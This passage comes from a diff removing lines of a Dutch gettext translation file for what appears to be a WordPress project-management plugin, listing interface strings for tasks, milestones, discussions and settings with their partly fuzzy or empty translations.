%s" - -#: texts/activities.php:198 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a milestone, %2$s." -msgstr "%s een geupdate reactie op een %s" - -#: texts/activities.php:202 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a milestone, %2$s" -msgstr "%s een geupdate reactie op een %s" - -#: texts/activities.php:206 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a milestone, %2$s." -msgstr "%s een geupdate reactie op een %s" - -#: texts/activities.php:212 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on the project, %2$s." -msgstr "%s heeft een reactie gegeven op een %s" - -#: texts/activities.php:216 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on the project, %2$s." -msgstr "%s een geupdate reactie op een %s" - -#: texts/activities.php:220 -msgid "%1$s has replied a comment on the project, %2$s" -msgstr "" - -#: texts/activities.php:224 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on the project, %2$s." -msgstr "%s een geupdate reactie op een %s" - -#: texts/activities.php:230 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a file, %2$s." -msgstr "%s heeft een reactie gegeven op een %s" - -#: texts/activities.php:234 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a file, %2$s." -msgstr "%s een geupdate reactie op een %s" - -#: texts/activities.php:238 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a file, %2$s" -msgstr "%s een geupdate reactie op een %s" - -#: texts/activities.php:242 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a file, %2$s." -msgstr "%s een geupdate reactie op een %s" - -#: texts/activities.php:246 -msgid "%1$s has duplicated project from , %2$s." -msgstr "" - -#: texts/resource_types.php:5 -#, fuzzy -#| msgid "Project" -msgid "project" -msgstr "Project" - -#: texts/resource_types.php:8 -msgid "discussion board" -msgstr "" - -#: texts/resource_types.php:11 -#, fuzzy -#| msgid "Task List" -msgid "task list" -msgstr "Takenlijst" - -#: texts/resource_types.php:14 -msgid "task" -msgstr "" - -#: texts/resource_types.php:17 -#, fuzzy -#| msgid "Milestone" -msgid "milestone" -msgstr "Mijlpaal" - -#: texts/resource_types.php:20 -#, fuzzy -msgid "comment" -msgstr "1 Reactie" - -#: texts/resource_types.php:23 -msgid "file" -msgstr "" - -#: texts/success_messages.php:6 -msgid "A project has been created successfully." -msgstr "" - -#: texts/success_messages.php:9 -msgid "A project has been updated successfully." -msgstr "" - -#: texts/success_messages.php:12 -msgid "A project has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:16 -msgid "A category has been created successfully." -msgstr "" - -#: texts/success_messages.php:19 -msgid "A category has been updated successfully." -msgstr "" - -#: texts/success_messages.php:22 -msgid "A category has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:25 -msgid "All the selected categories has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:29 -msgid "Successfully commented." -msgstr "" - -#: texts/success_messages.php:32 -msgid "A comment has been updated successfully." -msgstr "" - -#: texts/success_messages.php:35 -msgid "A comment has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:39 -msgid "A new discussion has been created successfully." -msgstr "" - -#: texts/success_messages.php:42 -msgid "A discussion has been updated successfully." -msgstr "" - -#: texts/success_messages.php:45 -msgid "A discussion has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:49 -msgid "A new milestone has been created successfully." -msgstr "" - -#: texts/success_messages.php:52 -msgid "A milestone has been updated successfully." -msgstr "" - -#: texts/success_messages.php:55 -msgid "A milestone has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:59 -msgid "A new task list has been created successfully." -msgstr "" - -#: texts/success_messages.php:62 -msgid "Task list has been updated successfully." -msgstr "" - -#: texts/success_messages.php:65 -msgid "Task list has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:69 -msgid "A new task has been created successfully." -msgstr "" - -#: texts/success_messages.php:72 -msgid "A Task has been updated successfully." -msgstr "" - -#: texts/success_messages.php:75 -msgid "The task has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:78 -msgid "Settings has been changed successfully." -msgstr "" - -#: texts/success_messages.php:81 -#, fuzzy -#| msgid "No comments found" -msgid "No element found" -msgstr "Geen reacties gevonden" - -#: texts/success_messages.php:84 -#, fuzzy -#| msgid "No Project Found" -msgid "No Project found" -msgstr "Geen Project gevonden" - -#: texts/success_messages.php:87 -msgid "Task marked as done" -msgstr "" - -#: texts/success_messages.php:90 -msgid "Task reopened" -msgstr "" - -#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 -msgid "Every %d Minutes" -msgstr "" - -#: views/assets/js/library.js:887 views/assets/js/library.js:1099 -#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 -#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 -#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 -#: views/assets/js/pm.js:14773 -#: views/assets/src/components/categories/categories.vue:255 -#: views/assets/src/components/project-discussions/mixin.js:507 -#: views/assets/src/components/project-task-lists/list-comments.vue:111 -#: views/assets/src/components/project-task-lists/mixin.js:382 -#: views/assets/src/components/project-task-lists/mixin.js:602 -#: views/assets/src/components/project-task-lists/task-comments.vue:131 -#, fuzzy -#| msgid "Are you sure?" -msgid "Are you sure!" -msgstr "Weet je het zeker?" - -#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 -#: views/assets/src/helpers/mixin/mixin.js:703 -#: views/assets/vendor/mixin/mixin.js:636 -msgid "Are you sure to delete this project?" -msgstr "Weet je zeker dat je dit project wilt verwijderen?" - -#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 -#: views/assets/src/components/common/text-editor.vue:37 -msgid "Write a comment..." -msgstr "" - -#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 -#: views/assets/src/components/project-task-lists/single-task.vue:295 -msgid "Update Description" -msgstr "" - -#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 -#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 -#: views/assets/src/components/project-discussions/comment-form.vue:39 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 -msgid "Add New Comment" -msgstr "" - -#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 -#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 -#: views/assets/src/components/project-discussions/comment-form.vue:40 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 -#: views/emails/html/update-comment.php:12 -msgid "Update Comment" -msgstr "" - -#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 -msgid "textarea" -msgstr "" - -#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 -#: views/assets/js/pm.js:25191 -msgid "form" -msgstr "" - -#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 -#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 -#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 -#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 -#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 -#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 -#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 -#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 -#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 -#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 -#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 -#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 -#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 -#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 -#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 -#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 -#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 -#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 -#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 -#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 -#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 -#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 -#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 -#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 -#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 -#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 -#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 -#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 -#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 -#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 -#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 -#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 -#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 -#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 -#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 -#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 -#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 -msgid "div" -msgstr "" - -#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 -#: views/assets/js/pm.js:23525 -msgid "span" -msgstr "" - -#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 -#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 -#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 -#: views/assets/js/pm.js:33414 -msgid "input" -msgstr "" - -#: views/assets/js/pm.js:2326 -#: views/assets/src/components/project-milestones/mixin.js:316 -#, fuzzy -#| msgid "Are you sure to delete this message?" -msgid "Are you sure! Want to delete this milestones?" -msgstr "Weet je zeker dat je dit bericht wilt verwijderen?" - -#: views/assets/js/pm.js:5999 -#: views/assets/src/components/project-discussions/mixin.js:554 -#, fuzzy -#| msgid "Are you sure to delete this project?" -msgid "Are you sure to delete this comment?" -msgstr "Weet je zeker dat je dit project wilt verwijderen?" - -#: views/assets/js/pm.js:9674 -#: views/assets/src/components/categories/categories.vue:23 -#: views/assets/src/components/categories/categories.vue:212 -#, fuzzy -#| msgid "Add New Message" -msgid "Add New Category" -msgstr "Voeg nieuw bericht toe" - -#: views/assets/js/pm.js:9793 -#: views/assets/src/components/categories/edit-category-form.vue:42 -#, fuzzy -#| msgid "Update Message" -msgid "Update Category" -msgstr "Update Bericht" - -#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 -#: views/assets/src/components/common/header.vue:81 -#: views/assets/src/components/project-lists/project-summary.vue:165 -#, fuzzy -#| msgid "Project Activity" -msgid "Project Actions" -msgstr "Project Activiteit" - -#: views/assets/js/pm.js:10314 -#: views/assets/src/components/common/header.vue:110 -msgid "Overview" -msgstr "" - -#: views/assets/js/pm.js:10323 -#: views/assets/src/components/common/header.vue:121 -msgid "Activities" -msgstr "" - -#: views/assets/js/pm.js:10332 -#: views/assets/src/components/common/header.vue:132 -#: views/assets/src/components/project-discussions/discussions.vue:20 -#: views/assets/src/components/project-lists/project-summary.vue:32 -#: views/assets/src/components/project-milestones/completed-milestones.vue:32 -#: views/assets/src/components/project-milestones/late-milestones.vue:39 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 -#: views/assets/src/components/project-overview/overview.vue:31 -msgid "Discussions" -msgstr "" - -#: views/assets/js/pm.js:10341 -#: views/assets/src/components/common/header.vue:143 -#: views/assets/src/components/project-lists/project-summary.vue:48 -#: views/assets/src/components/project-milestones/completed-milestones.vue:23 -#: views/assets/src/components/project-milestones/late-milestones.vue:30 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 -#: views/assets/src/components/project-overview/overview.vue:46 -#: views/assets/src/components/project-task-lists/default-list-page.vue:4 -msgid "Task Lists" -msgstr "Takenlijst" - -#: views/assets/js/pm.js:10350 -#: views/assets/src/components/common/header.vue:154 -#: views/assets/src/components/project-lists/project-summary.vue:78 -#: views/assets/src/components/project-milestones/milestones.vue:19 -#: views/assets/src/components/project-overview/overview.vue:97 -msgid "Milestones" -msgstr "Mijlpalen" - -#: views/assets/js/pm.js:10359 -#: views/assets/src/components/common/header.vue:165 -#: views/assets/src/components/project-lists/project-summary.vue:93 -#: views/assets/src/components/project-overview/overview.vue:82 -msgid "Files" -msgstr "Bestanden" - -#: views/assets/js/pm.js:10975 -#: views/assets/src/components/categories/categories.vue:104 -#: views/assets/src/components/common/header.vue:10 -#: views/assets/src/components/project-discussions/discussions.vue:158 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 -msgid "Edit" -msgstr "Bewerk" - -#: views/assets/js/pm.js:10976 -#: views/assets/src/components/project-discussions/discussions.vue:159 -msgid "Delete this message" -msgstr "Weet je zeker dat je dit bericht wilt verwijderen?" - -#: views/assets/js/pm.js:10977 -#: views/assets/src/components/project-discussions/discussions.vue:160 -msgid "Make it private" -msgstr "" - -#: views/assets/js/pm.js:11351 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 -msgid "Enter message title" -msgstr "Vul een titel voor je bericht in" - -#: views/assets/js/pm.js:11352 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 -msgid "Add Message" -msgstr "Voeg bericht toe" - -#: views/assets/js/pm.js:11353 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 -msgid "Update Message" -msgstr "Update Bericht" - -#: views/assets/js/pm.js:12089 -#: views/assets/src/components/project-lists/header.vue:69 -msgid "Start a new project" -msgstr "Start een nieuw project" - -#: views/assets/js/pm.js:12190 -#: views/assets/src/components/project-lists/project-create-form.vue:87 -msgid "Name of the project" -msgstr "Naam van het project" - -#: views/assets/js/pm.js:12191 -#: views/assets/src/components/project-lists/project-create-form.vue:88 -msgid "Some details about the project (optional)" -msgstr "Enkele details over het project (optioneel)" - -#: views/assets/js/pm.js:12192 -#: views/assets/src/components/project-lists/project-create-form.vue:89 -msgid "Type 3 or more characters to search users..." -msgstr "" - -#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 -#: views/assets/src/components/project-lists/directive.js:75 -#: views/assets/src/components/project-lists/project-create-form.vue:90 -msgid "Create a new user" -msgstr "" - -#: views/assets/js/pm.js:12194 -#: views/assets/src/components/project-lists/project-create-form.vue:91 -msgid "Add New Project" -msgstr "Voeg nieuw project toe" - -#: views/assets/js/pm.js:12195 -#: views/assets/src/components/project-lists/project-create-form.vue:92 -#: views/emails/html/update-project.php:9 -msgid "Update Project" -msgstr "Update Project" - -#: views/assets/js/pm.js:12536 -#: views/assets/src/components/project-lists/project-new-user-form.vue:43 -msgid "Create User" -msgstr "" - -#: views/assets/js/pm.js:12853 -#: views/assets/src/components/project-lists/project-view.vue:17 -msgid "List View" -msgstr "" - -#: views/assets/js/pm.js:12854 -#: views/assets/src/components/project-lists/project-view.vue:18 -msgid "Grid View" -msgstr "" - -#: views/assets/js/pm.js:12946 -#: views/assets/src/components/project-milestones/action-milestones.vue:33 -msgid "Edit Milestone" -msgstr "Bewerk Mijlpaal" - -#: views/assets/js/pm.js:12947 -#: views/assets/src/components/project-milestones/action-milestones.vue:34 -msgid "Delete milestone" -msgstr "Verwijder mijlpaal" - -#: views/assets/js/pm.js:12948 -#: views/assets/src/components/project-milestones/action-milestones.vue:35 -msgid "Mark as incomplete" -msgstr "" - -#: views/assets/js/pm.js:12949 -#: views/assets/src/components/project-milestones/action-milestones.vue:36 -msgid "Mark as complete" -msgstr "Markeer als voltooid" - -#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 -#: views/assets/src/components/project-task-lists/new-task-form.vue:112 -msgid "Due Date" -msgstr "" - -#: views/assets/js/pm.js:13572 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 -msgid "Milestone name" -msgstr "Naam voor de mijlpaal" - -#: views/assets/js/pm.js:13573 -#: views/assets/src/components/project-milestones/milestones.vue:24 -#: views/assets/src/components/project-milestones/milestones.vue:52 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 -msgid "Add Milestone" -msgstr "Voeg Mijlpaal toe" - -#: views/assets/js/pm.js:13574 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 -msgid "Update Milestone" -msgstr "Update Mijlpaal" - -#: views/assets/js/pm.js:15560 -#: views/assets/src/components/project-task-lists/new-task-form.vue:109 -msgid "Add a new task" -msgstr "" - -#: views/assets/js/pm.js:15561 -#: views/assets/src/components/project-task-lists/new-task-form.vue:110 -msgid "Add extra details about this task (optional)" -msgstr "" - -#: views/assets/js/pm.js:15562 -#: views/assets/src/components/project-task-lists/new-task-form.vue:111 -msgid "Start Date" -msgstr "" - -#: views/assets/js/pm.js:15564 -#: views/assets/src/components/project-task-lists/new-task-form.vue:113 -msgid "Select User" -msgstr "" - -#: views/assets/js/pm.js:15565 -#: views/assets/src/components/project-task-lists/new-task-form.vue:114 -msgid "Update Task" -msgstr "" - -#: views/assets/js/pm.js:15566 -#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 -#: views/assets/src/components/project-task-lists/new-task-form.vue:115 -msgid "Add Task" -msgstr "Voeg taak toe" - -#: views/assets/js/pm.js:15567 -#: views/assets/src/components/project-task-lists/new-task-form.vue:116 -msgid "Estimated hour to complete the task" -msgstr "" - -#: views/assets/js/pm.js:15928 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 -msgid "Task list name" -msgstr "" - -#: views/assets/js/pm.js:15929 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 -msgid "Task list details" -msgstr "" - -#: views/assets/js/pm.js:15930 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 -msgid "Update List" -msgstr "Update Lijst" - -#: views/assets/js/pm.js:15931 -#: views/assets/src/components/project-discussions/discussions.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 -msgid "Add List" -msgstr "Voeg een lijst toe" - -#: views/assets/js/pm.js:16368 -#: views/assets/src/components/project-task-lists/single-list.vue:121 -#, fuzzy -#| msgid "Delete milestone" -msgid "Delete List" -msgstr "Verwijder mijlpaal" - -#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 -#: views/assets/src/components/settings/email.vue:82 -#: views/assets/src/components/settings/general.vue:116 -msgid "Save Changes" -msgstr "Sla veranderingen op" - -#: views/assets/js/pm.js:18015 -#: views/assets/src/components/project-lists/directive.js:74 -msgid "No users found." -msgstr "" - -#: views/assets/js/pm.js:18540 -#: views/assets/src/components/project-overview/directive.js:9 -msgid "Activity" -msgstr "Project Activiteit" - -#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 -#: views/assets/js/pm.js:31861 -msgid "ul" -msgstr "" - -#: views/assets/js/pm.js:26597 -msgid "a" -msgstr "" - -#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 -msgid "router-view" -msgstr "" - -#: views/assets/js/pm.js:33541 -msgid "svg" -msgstr "" - -#: views/assets/js/pm.js:33711 -msgid "vue-content-loading" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:27 -#: views/assets/src/components/categories/categories.vue:74 -#: views/assets/src/components/categories/categories.vue:130 -#: views/assets/src/components/categories/edit-category-form.vue:8 -msgid "Name" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:33 -#: views/assets/src/components/categories/categories.vue:79 -#: views/assets/src/components/categories/categories.vue:136 -#: views/assets/src/components/categories/edit-category-form.vue:14 -msgid "Description" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:54 -msgid "Select bulk action" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:56 -#: views/assets/src/components/categories/categories.vue:155 -msgid "Bulk Actions" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:57 -#: views/assets/src/components/categories/categories.vue:156 -#: views/assets/src/components/common/header.vue:29 -#: views/assets/src/components/project-lists/project-create-form.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:134 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 -msgid "Delete" -msgstr "Verwijderen" - -#: views/assets/src/components/categories/categories.vue:69 -#: views/assets/src/components/common/notify-user.vue:7 -msgid "Select all" -msgstr "Selecteer alles" - -#: views/assets/src/components/categories/edit-category-form.vue:5 -msgid "Quick Edit" -msgstr "" - -#: views/assets/src/components/categories/edit-category-form.vue:23 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 -#: views/assets/src/components/project-lists/project-create-form.vue:57 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 -#: views/assets/src/components/project-task-lists/new-task-form.vue:51 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 -msgid "Cancel" -msgstr "Annuleer" - -#: views/assets/src/components/common/color-picker.vue:9 -#, fuzzy -#| msgid "Select all" -msgid "Select Color" -msgstr "Selecteer alles" - -#: views/assets/src/components/common/color-picker.vue:25 -msgid "Clear" -msgstr "" - -#: views/assets/src/components/common/color-picker.vue:31 -msgid "Close" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:10 -msgid "Delete File" -msgstr "Verwijder bestand" - -#: views/assets/src/components/common/file-uploader.vue:16 -msgid "To attach" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:17 -msgid "select files" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:18 -msgid "from your computer." -msgstr "" - -#: views/assets/src/components/common/header.vue:17 -#: views/assets/src/components/project-lists/project-header-menu.vue:13 -#: views/assets/src/components/project-task-lists/lists.vue:92 -msgid "Completed" -msgstr "Voltooid" - -#: views/assets/src/components/common/header.vue:18 -#: views/assets/src/components/project-task-lists/lists.vue:102 -msgid "Incomplete" -msgstr "" - -#: views/assets/src/components/common/header.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:141 -msgid "Complete" -msgstr "" - -#: views/assets/src/components/common/header.vue:39 -#: views/assets/src/components/project-lists/project-summary.vue:144 -msgid "Restore" -msgstr "" - -#: views/assets/src/components/common/notify-user.vue:4 -msgid "Notify users" -msgstr "Breng klanten op de hoogte" - -#: views/assets/src/components/project-activities/activities.vue:46 -#, fuzzy -#| msgid "Load More..." -msgid "Load More ..." -msgstr "Laad Meer..." - -#: views/assets/src/components/project-activities/activities.vue:48 -msgid "No activity fount" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:23 -msgid "" -"Use our built in discussion panel to create an open discussion, a group " -"discussion or a private conversation. Note that the Admin can always " -"moderate these discussions." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:27 -#: views/assets/src/components/project-discussions/discussions.vue:54 -msgid "Add New Discussion" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:32 -#: views/assets/src/components/project-discussions/discussions.vue:59 -msgid "Create a new message" -msgstr "Maak een nieuw bericht aan" - -#: views/assets/src/components/project-discussions/discussions.vue:38 -msgid "When to use Discussions?" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:41 -msgid "To discuss a work matter privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:42 -msgid "To exchange files privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:43 -msgid "To discuss in a group." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:44 -msgid "To create an open discussion visible to all." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:68 -msgid "Discussion List" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:84 -#: views/assets/src/components/project-discussions/individual-discussions.vue:32 -#: views/assets/src/components/project-task-lists/list-comments.vue:15 -#: views/assets/src/components/project-task-lists/task-comments.vue:15 -#, fuzzy -#| msgid "Body" -msgid "By" -msgstr "Inhoud" - -#: views/assets/src/components/project-discussions/discussions.vue:88 -#: views/assets/src/components/project-discussions/individual-discussions.vue:35 -#: views/assets/src/components/project-discussions/individual-discussions.vue:77 -#: views/assets/src/components/project-task-lists/list-comments.vue:22 -#: views/assets/src/components/project-task-lists/task-comments.vue:21 -msgid "on" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:110 -#: views/assets/src/components/project-discussions/individual-discussions.vue:61 -#: views/assets/src/components/project-lists/project-summary.vue:104 -#: views/assets/src/components/project-overview/overview.vue:68 -#: views/assets/src/components/project-task-lists/lists.vue:111 -#: views/assets/src/components/project-task-lists/single-task.vue:174 -msgid "Comments" -msgstr "" - -#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 -msgid "- Milestone -" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:36 -msgid "Attached to" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:38 -msgid "by" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:40 -msgid "admin" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:62 -#, fuzzy -#| msgid "No users found" -msgid "No result found!" -msgstr "Geen gebruikers gevonden" - -#: views/assets/src/components/project-lists/project-create-form.vue:13 -#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 -msgid "- Project Category -" -msgstr "" - -#: views/assets/src/components/project-lists/project-create-form.vue:50 -msgid "Notify Co-Workers" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:6 -msgid "Active" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:20 -msgid "All" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 -#: views/emails/html/new-project.php:10 -msgid "New Project" -msgstr "Nieuw Project" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:7 -msgid "Username" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:12 -msgid "First Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:17 -msgid "Last Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:22 -msgid "Email" -msgstr "" - -#: views/assets/src/components/project-lists/project-summary.vue:4 -msgid "No projects found." -msgstr "" - -#: views/assets/src/components/project-lists/project-summary.vue:63 -#: views/assets/src/components/project-overview/overview.vue:57 -msgid "Tasks" -msgstr "Taken" - -#: views/assets/src/components/project-milestones/completed-milestones.vue:3 -msgid "Completed Milestones" -msgstr "Voltooide Mijlpalen" - -#: views/assets/src/components/project-milestones/completed-milestones.vue:43 -msgid "Completed on:" -msgstr "Voltooid op:" - -#: views/assets/src/components/project-milestones/late-milestones.vue:3 -msgid "Late Milestones" -msgstr "Late Mijlpalen" - -#: views/assets/src/components/project-milestones/milestones.vue:21 -msgid "" -"Create a lifecycle of your projects using milestones. Time mark the " -"different stages of your project with multiple milestones and also it will " -"help the assigned people to aim for a date to complete the project according " -"to those steps." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:37 -msgid "When to use Milestones?" -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:40 -msgid "To set a target date for the project overall." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:41 -msgid "To divide a project into several development-time phases." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:42 -msgid "To coordinate projects and assigned persons timely." -msgstr "" - -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 -msgid "Upcoming Milestones" -msgstr "Onvoltooide Mijlpalen" - -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 -#, fuzzy -#| msgid "left" -msgid "left -" -msgstr "over" - -#: views/assets/src/components/project-overview/overview.vue:107 -msgid "Last 30 days" -msgstr "" - -#: views/assets/src/components/project-overview/overview.vue:116 -msgid "Users" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:6 -msgid "" -"You can list all your Tasks in a single discussion using a Task list. Use " -"these lists to divide a project into several sectors, assign co-workers and " -"check progress." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:14 -msgid "When to use Task Lists?" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:17 -msgid "To partition a project internals." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:18 -msgid "To mark milestone points." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:19 -msgid "To assign people to tasks." -msgstr "" - -#: views/assets/src/components/project-task-lists/list-comments.vue:4 -msgid "Discuss this task list" -msgstr "" - -#: views/assets/src/components/project-task-lists/list-tasks.vue:9 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 -msgid "No tasks found." -msgstr "" - -#: views/assets/src/components/project-task-lists/lists.vue:77 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 -msgid "More Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 -msgid "New Task List" -msgstr "Nieuwe Takenlijst" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 -msgid "Incomplete Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 -msgid "Completed Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list.vue:29 -msgid "Back to Task Lists" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:203 -msgid "Shift+Enter for line break" -msgstr "" - -#: views/assets/src/components/project-task-lists/task-comments.vue:4 -msgid "Discuss this task" -msgstr "" - -#: views/assets/src/components/settings/email.vue:7 -#: views/assets/src/components/settings/header.vue:9 -msgid "E-Mail Settings" -msgstr "E-mail instellingen" - -#: views/assets/src/components/settings/email.vue:12 -msgid "From Email" -msgstr "" - -#: 